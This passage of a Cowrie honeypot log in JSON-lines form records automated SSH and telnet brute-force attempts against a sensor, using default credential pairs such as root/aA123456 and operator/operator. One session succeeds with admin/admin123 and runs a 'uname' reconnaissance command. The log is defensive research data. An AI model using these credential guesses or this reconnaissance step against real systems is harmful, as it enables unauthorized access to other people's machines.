c-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:21.759258Z","src_ip":"172.237.20.62","session":"5ae0c6898b41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.00036311149597,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:21.989143Z","src_ip":"45.58.127.90","session":"c48a530306d3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:22.446488Z","src_ip":"172.237.20.62","session":"5ae0c6898b41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55618,"dst_ip":"159.203.135.109","dst_port":22,"session":"204084bc38c4","protocol":"ssh","message":"New connection: 176.65.132.129:55618 (159.203.135.109:22) [session: 204084bc38c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:22.783264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:22.786659Z","src_ip":"176.65.132.129","session":"204084bc38c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:22.868635Z","src_ip":"176.65.132.129","session":"204084bc38c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:23.114424Z","src_ip":"176.65.132.129","session":"204084bc38c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:23.607904Z","src_ip":"172.237.20.62","session":"5ae0c6898b41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:24.199318Z","src_ip":"176.65.132.129","session":"204084bc38c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33872,"dst_ip":"10.17.0.5","dst_port":23,"session":"7436155c762b","protocol":"telnet","message":"New connection: 45.58.127.90:33872 (10.17.0.5:23) [session: 7436155c762b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:25.377168Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38466,"dst_ip":"159.203.135.109","dst_port":22,"session":"be7d07547015","protocol":"ssh","message":"New connection: 176.65.132.129:38466 (159.203.135.109:22) [session: be7d07547015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:26.113870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:26.118057Z","src_ip":"176.65.132.129","session":"be7d07547015","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:26.202387Z","src_ip":"176.65.132.129","session":"be7d07547015","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator","message":"login attempt [operator/operator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:26.450141Z","src_ip":"176.65.132.129","session":"be7d07547015","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:27.534601Z","src_ip":"176.65.132.129","session":"be7d07547015","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38482,"dst_ip":"159.203.135.109","dst_port":22,"session":"7748bd2487a1","protocol":"ssh","message":"New connection: 176.65.132.129:38482 (159.203.135.109:22) [session: 7748bd2487a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:29.341073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:29.345706Z","src_ip":"176.65.132.129","session":"7748bd2487a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:29.428027Z","src_ip":"176.65.132.129","session":"7748bd2487a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samanalid","password":"123456","message":"login attempt [samanalid/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:29.675138Z","src_ip":"176.65.132.129","session":"7748bd2487a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:30.761312Z","src_ip":"176.65.132.129","session":"7748bd2487a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.37631344795227,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:32.011426Z","src_ip":"45.58.127.90","session":"c4c0907df1bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":38860,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9ac75028005","protocol":"ssh","message":"New connection: 172.237.20.62:38860 (159.203.135.109:22) [session: f9ac75028005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:32.614354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:32.621763Z","src_ip":"172.237.20.62","session":"f9ac75028005","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38492,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea2d4167517b","protocol":"ssh","message":"New connection: 176.65.132.129:38492 (159.203.135.109:22) [session: ea2d4167517b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:32.654451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:32.659729Z","src_ip":"176.65.132.129","session":"ea2d4167517b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:32.741761Z","src_ip":"176.65.132.129","session":"ea2d4167517b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:32.781136Z","src_ip":"172.237.20.62","session":"f9ac75028005","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ricardo","password":"123456","message":"login attempt [ricardo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:33.073906Z","src_ip":"176.65.132.129","session":"ea2d4167517b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42044,"dst_ip":"10.17.0.5","dst_port":23,"session":"e866f1138f26","protocol":"telnet","message":"New connection: 45.58.127.90:42044 (10.17.0.5:23) [session: e866f1138f26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:33.214627Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:33.261905Z","src_ip":"172.237.20.62","session":"f9ac75028005","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:33.615286Z","src_ip":"172.237.20.62","session":"f9ac75028005","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:33.618103Z","src_ip":"172.237.20.62","session":"f9ac75028005","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42032,"dst_ip":"10.17.0.5","dst_port":23,"session":"c963ebde5e05","protocol":"telnet","message":"New connection: 45.58.127.90:42032 (10.17.0.5:23) [session: c963ebde5e05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:33.623089Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:33.815024Z","src_ip":"172.237.20.62","session":"f9ac75028005","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:33.819822Z","src_ip":"172.237.20.62","session":"f9ac75028005","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:34.157495Z","src_ip":"176.65.132.129","session":"ea2d4167517b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.85093140602112,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:35.475361Z","src_ip":"45.58.127.90","session":"f069ec4269f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42200,"dst_ip":"159.203.135.109","dst_port":22,"session":"46ad2cc8a5c6","protocol":"ssh","message":"New connection: 176.65.132.129:42200 (159.203.135.109:22) [session: 46ad2cc8a5c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:36.116598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:36.122128Z","src_ip":"176.65.132.129","session":"46ad2cc8a5c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:36.201132Z","src_ip":"176.65.132.129","session":"46ad2cc8a5c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:36.525917Z","src_ip":"176.65.132.129","session":"46ad2cc8a5c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:37.612627Z","src_ip":"176.65.132.129","session":"46ad2cc8a5c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42052,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f1a88642c87","protocol":"telnet","message":"New connection: 45.58.127.90:42052 (10.17.0.5:23) [session: 6f1a88642c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:38.164978Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42204,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2929fcae5c9","protocol":"ssh","message":"New connection: 176.65.132.129:42204 (159.203.135.109:22) [session: d2929fcae5c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:39.507830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:39.512318Z","src_ip":"176.65.132.129","session":"d2929fcae5c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:39.594124Z","src_ip":"176.65.132.129","session":"d2929fcae5c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:39.840637Z","src_ip":"176.65.132.129","session":"d2929fcae5c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":57958,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcd5ec4b213e","protocol":"telnet","message":"New connection: 45.58.127.90:57958 (10.17.0.5:23) [session: fcd5ec4b213e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:39.899373Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:49:40.924796Z","src_ip":"176.65.132.129","session":"d2929fcae5c9","protocol":"ssh"}
